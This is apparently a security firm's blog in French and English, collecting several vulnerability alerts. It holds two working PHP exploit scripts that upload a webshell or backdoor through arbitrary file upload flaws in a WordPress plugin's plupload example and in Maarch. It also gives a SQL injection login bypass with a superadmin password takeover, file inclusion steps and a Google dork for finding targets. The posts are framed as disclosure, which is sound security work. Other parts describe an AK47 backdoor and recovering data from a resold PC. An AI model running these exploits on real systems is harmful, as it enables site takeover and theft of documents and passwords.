PLUPLOAD EXAMPLE FILE ARBITRARY FILE UPLOAD

le 09/03/2015 20:56
PLUPLOAD EXAMPLE FILE ARBITRARY FILE UPLOAD

Multiple plugins vulnerabilities

A file named upload.php in an example dir in the plupload-2.1.2 php library allow an attacker to arbitrary upload a file on server server that hosts the php application. It allows to write on an ini_get("upload_tmp_dir") dir, but with path chars like "../../.." an a combination with a php error, we can write in a web path, or replace a file with web server right.

Exploit:

 
 /********************************
 
 Author: Adrien Thierry
 Website : http://seraum.com
disclosure : http://openbreach.com/index/OB-2015-0003
vendor : alerted

 Exploit for NMEDIA USER FILE UPLOADER 3.7, web root can be found with php error by accessing /nmedia-user-file-uploader/index.php

 
 ********************************/
/* EXPLOIT URL  */
$target_url= "http://thewpsite.something/wp-content/plugins/";
$plugin_path = "nmedia-user-file-uploader/js/plupload-2.1.2/examples/";
/* TARGET UPLOAD FILE */
$target_file = "upload.php";
/* FILE TO UPLOAD */
$file = "webshell.php";
/* NAME */
$name = "../../../../../../../../var/www/thesite/www/file.php";
 
/* LAUNCHING EXPLOIT */
do_post_request($target_url . $module_path . $target_file . "?name=" . $name, $target_url, $file, $name);
 
function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------".substr(md5(rand(0,32000)), 0, 10);
    $data .= "--$boundary\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents."\n";
    $data .= "--$boundary--\n";
    
    $data .= "Content-Disposition: form-data; name=\"vfb-submit\"\n";
    $data .= " ok ";
    $data .= $fileContents."\n";
    
    $params = array('http' => array(
    'method' => 'POST',
    'header' => 'Content-Type: multipart/form-data; boundary='.$boundary,
    'content' => $data
    ));
 echo " URL : " . $url;
$ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp)
    {
       throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false)
    {
       throw new Exception("Erreur !");
    }
    else
    {
        echo "file successfully uploaded here : PHP_INI_GET_UPLOAD/" . $name;
    }
}
 
?>

Pour partager l'information :
Twitter Facebook Google Plus Linkedin email

Chinese PHP Backdoor on Wordpress : AK47

le 09/03/2015 11:38
Chinese PHP Backdoor on Wordpress : AK47

Wordpress security alert

Multiples vulnerabilities are used on wordpress to upload a PHP WebShell named AK47. This backdoor is uploaded in a file name wp-log.php in the root folder of Wordpress. The main language of this shell is Chinese. The pirate use it to inject some code from url "http://bewinshell.zrp.li/index.php?r=links&v=STDYd" in your pages, essentialy in the file footer.php from your theme.

Multiple database connectors

This backdoor has the ability to connect on :

- MySQL

- MsSQL

- PostgreSQL

- Oracle

How to detect it

Simply check on your wordpress site if there is a wp-log.php file on the root folder : http://mywpsite.something/wp-log.php . If yes, you should have a form with one input ( standard pass is "123x" ). If you get one, please send it at http://openbreach.com/submit/ with a maximum of information, then remove it from your wordpress site. You can get more informations on http://openbreach.com/index/OB-2015-0002

Pour partager l'information :
Twitter Facebook Google Plus Linkedin email

Security Alert : GED-ECM Maarch Critical Vulnerabilities

le 29/10/2014 12:00
Security Alert : GED-ECM Maarch Critical Vulnerabilities

Alerte de sécurité concernant la GED Maarch

L'application web de gestion électronique de documents Maarch possède plusieurs vulnérabilités critiques. Cette application serait utilisée par une centaines de villes, le Ministère de l'Intérieur, l'AMF, l'INPI et d'autres entités.. Le site de l'application : maarch.org . L'auteur de l'application a été contacté, sans réponse.

Notre entreprise a trouvé plus d'une 50aine de vulnérabilités critiques au sein de cette application. Nous ne détaillons que quelques exemples dans cette alerte.

Our company found more than 50 vulnerabilities in this application. Only a few are detailled in this alert.

Si vous souhaitez sécuriser votre application, vous pouvez à tout moment nous contacter à cette adresse : Seraum.com

Versions : Toutes les versions de Maarch (Letterbox, Enterprise, GEC, ...)
Versions : All Maarch versions (Letterbox, Enterprise, GEC, ...)

Scripts cibles : Plusieurs scripts
Targets scripts : Many scripts

Qui : Tous les clients / utilisateurs (liste fin article)
Who : All Maarch clients / users (list at end of article)

Impact : Un pirate peut prendre le contrôle totale de l'application, prendre connaissance de tous les documents sans aucune authentification, avoir les mots de passe de tous les utilisateurs
impact : A pirate can take control of the whole application, look at all documents without authentication, get all users passwords.

Quoi : Sqli, XSS, Téléchargement de fichier distant, inclusions de fichiers locaux, fuite d'information, escalade de privilège...
What : Sqli, XSS, Arbitrary File Upload, Local File Inclusion, Information Disclosure, privilege escalation...


Utilisateurs connus | Known users (liste en fin):

Maarch GEC

Maarch SAE

Maarch GED

Maarch map

Exemple d'exploitation :

Lien de l'exemple : http://MAARCH_URL/apps/maarch_entreprise/index.php?display=true&page=login

Inclusion de fichier :

Mettez le nom de fichier que vous souhaitez sans l'extension .php pour le paramètre page à la place de login

Escalade de privilèges via SQL Injection :

Utilisateur : superadmin' OR user_id='easy
Mot de passe: cequelonveut

Vous verrez une erreur sql, mais peut importe. recharger la page, vous êtes connectés.

Pour changer le mot de passe du superadmin :

Aller à Menu -> Mon Profile

Entrez votre nouveau mot de passe deux fois, saisisser un email etc, et cliquez sur Sauvagerder. Une nouvelle erreur sql apparait (table des logs, sans conséquence), mais le password est changé.

Supprimez vos cookies, retournez sur l'application, entrez votre nouveau mot de passe, c'est fait.


Exploit example :

Url : http://MAARCH_URL/apps/maarch_entreprise/index.php?display=true&page=login

File inclusion :

Replace page parameter ("login") with a page name without .php extension.

Privilege escalation via SQL Injection

login : superadmin' OR user_id='easy
pass : whatyouwant

You see an sql error, but reload the web page, you are logged in

To change superadmin pass:

Go to Menu -> Mon Profile

Type your news password twice, an email etc, and click on save. New Sql error (history table, so we don't care), but password is changed.

Clear your cookies, return to application url, enter your new fresh password, it's done.

Arbitrary file upload exploit :

<?php

/******************************************************


MULTIPLE VERSIONS ARBITRARY FILE UPLOAD FOR MAARCH
author: Adrien Thierry - SARL SERAUM
author website: http://seraum.com
alert : http://asylum.seraum.com/Security-Alert-GED-ECM-Maarch-Critical-Vulnerabilities.html
App : maarch | http://www.maarch.org
version: ALL : LETTERBOX / SAE / ENTERPRISE / GEC
google dorking : intext:"Maarch Maerys Archive v2.1 logo"

******************************************************/

/* EXPLOIT URL  */
$target_url= "http://website.target/apps/maarch_enterprise/";
/* EMPTY FOR OLDS VERSIONS LIKE LETTERBOX 2.3 */
$indexing_path = "indexing_searching/";
/* TARGET UPLOAD FILE */
$target_file = "file_to_index.php";
/* FILE TO UPLOAD IN SAME PATH AS THIS SCRIPT */
$file = "backdoor.php";
/* NAME, EMPTY WITH LETTERBOX */
$name = "shell";

/* LAUNCHING EXPLOIT */
do_post_request($target_url . $indexing_path . $target_file . "?md5=" . $name, $target_url, $file, $name);

function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------".substr(md5(rand(0,32000)), 0, 10);
    $data .= "--$boundary\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents."\n";
    $data .= "--$boundary--\n";
    $params = array('http' => array(
    'method' => 'POST',
    'header' => 'Content-Type: multipart/form-data; boundary='.$boundary,
    'content' => $data
    ));

$ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp)
    {
       throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false)
    {
       throw new Exception("Erreur !");
    }
    else
    {
        echo "file should be here : ";
            /* LETTERBOX */
            if(count($response) > 1) echo $response;
            /* MAARCH ENTERPRISE | GEC */
            else echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";


    }
}

?>

Liste des sites/utilisateurs connus :

MAARCH LETTERBOX :

Assurance / Mutuelle (4)

Association et syndicat (1)

Secteur Public - Sécurité civile (1)

Immobilier (1)

Ministère & Organisme public (2)

Secteur Public - Enseignement (1)

Agro-Alimentaire (1)

Distribution (1)

MAARCH ENTERPRISE :

Collectivité locale (1)
Collectivité territoriale (1)
Secteur Public - Santé (1)
EPI - Etablissement Public Indépendant (2)

Assurance / Mutuelle (7)

Secteur Public - Sécurité civile (1)

Banque & organisme financier (1)

Ministère & Organisme public (1)

Agro-Alimentaire (1)

 MAARCH GEC :

Collectivité locale (86)

Collectivité territoriale (16)

Secteur Public - Santé (4)
Secteur Public - Habitat (5)

EPI - Etablissement Public Indépendant (4)

Association et syndicat (4)

Secteur Public - Sécurité civile (6)

Banque & organisme financier (3)

Préfecture (15)

Ministère & Organisme public (4)

Agro-Alimentaire (1)

Service (1)

Notaire (1)

Si vous souhaitez sécuriser votre application, vous pouvez à tout moment nous contacter à cette adresse : Seraum.com

Pour partager l'information :
Twitter Facebook Google Plus Linkedin email

Que deviennent les données des ordinateurs que l'on revend ?

le 23/10/2014 11:03
Que deviennent les données des ordinateurs que l

Renvendre son ordinateur à un "Cash Shop" 

Société de consommation oblige, arrive le moment où l'on souhaite revendre du matériel obsolète pour en racheter du "plus à jour". Quid des neophytes en informatique concernant le formatage, la désinstallation, la suppression des données, la réinstallation d'usine ... ? Et quid des renvendeurs avec nos données ?

Beaucoup de personnes pensent, notamment avec les systèmes d'exploitation Windows, que la simple suppression des fichiers visibles, ainsi que le changement du nom de l'utilisateur, suffisent. Malheureusement non.

C'est ce que nous voulons démontrer. Nous avons acheté un premier prix chez l'un des nombreux revendeurs de matériel de seconde main.

Allumage et première(s) impression(s)

L'ordinateur démarre lentement, plus de 10 secondes pour un windows 7 avec un processeur de type Intel i3 et 4Go de RAM. Il doit rester des fichiers temporaires.

On arrive sur un bureaux vide, à part la corbeille. Pas d'applications par défaut, donc pas de restauration usine.

Dans le menu "démarrer", des restes d'applications, comme VLC ou Avast. On jette un oeil dans le panneau de configuration, au niveau des applications installées : beaucoup d'applications, certaines installées récemment. Il n'y a donc eu ni formatage, ni réinstallation d'usine.

Investigation et récupérration d'informations

Il est temps d'aller fouiller la bête. Notre nom d'utilisateur est User, mais notre dossier utilisateur est "Anais". Apparement, il ne reste aucun fichier. On affiche les fichiers et dossiers cachés : tous les fichiers de configuration des applications sont encore là. On lance firefox, on cherche les mots de passe enregistrés, et on clique sur "afficher les mots de passe" : tous les comptes et mots de passe des réseaux sociaux auxquels appartient "Anais" sont en clair (facebook, twitter ..), ainsi que sa messagerie et d'autres sites divers.

On éteint l'ordinateur, on boot un linux sur clé usb et on lance photorec sur le disque dur de l'ordinateur : plus de 50Go de photos et documents sont récupérés, en parfait état.

A ce stade, on a récupéré presques tous les documents que l'ancien propiétaire de l'ordinateur possédaient sur son disque.

Problèmes, réglementation et conseil

La société de revente n'a pas fait son travail quant à la confidentialité des données de la personne : quelques suppressions d'applications, la suppression simple des documents personnels, le renommage de l'utilisateur, mais pas plus.

Au niveau des données, quid de la réglementation ? On a acheté l'ordinateur et les données qui vont avec, quelle est la réglementation concernant la propriété de ces dernières ?

Pour revendre ou donner votre ordinateur, il faut s'assurer au minimum de formater l'ordinateur et de le réinstaller. Une réinstallation d'usine est plus recommandable, et le formatage bas niveau avec plusieurs passes de réécritures garantirait une suppression totale des données.

Sur les systèmes d'exploitation actuels, lorsque l'on supprime un fichier, on ne supprime pas les données, mais le lien qui pointe vers ces données. En réécrivant par dessus ces données, on en assure la suppression et la non-récupération.

Pour partager l'information :
Twitter Facebook Google Plus Linkedin email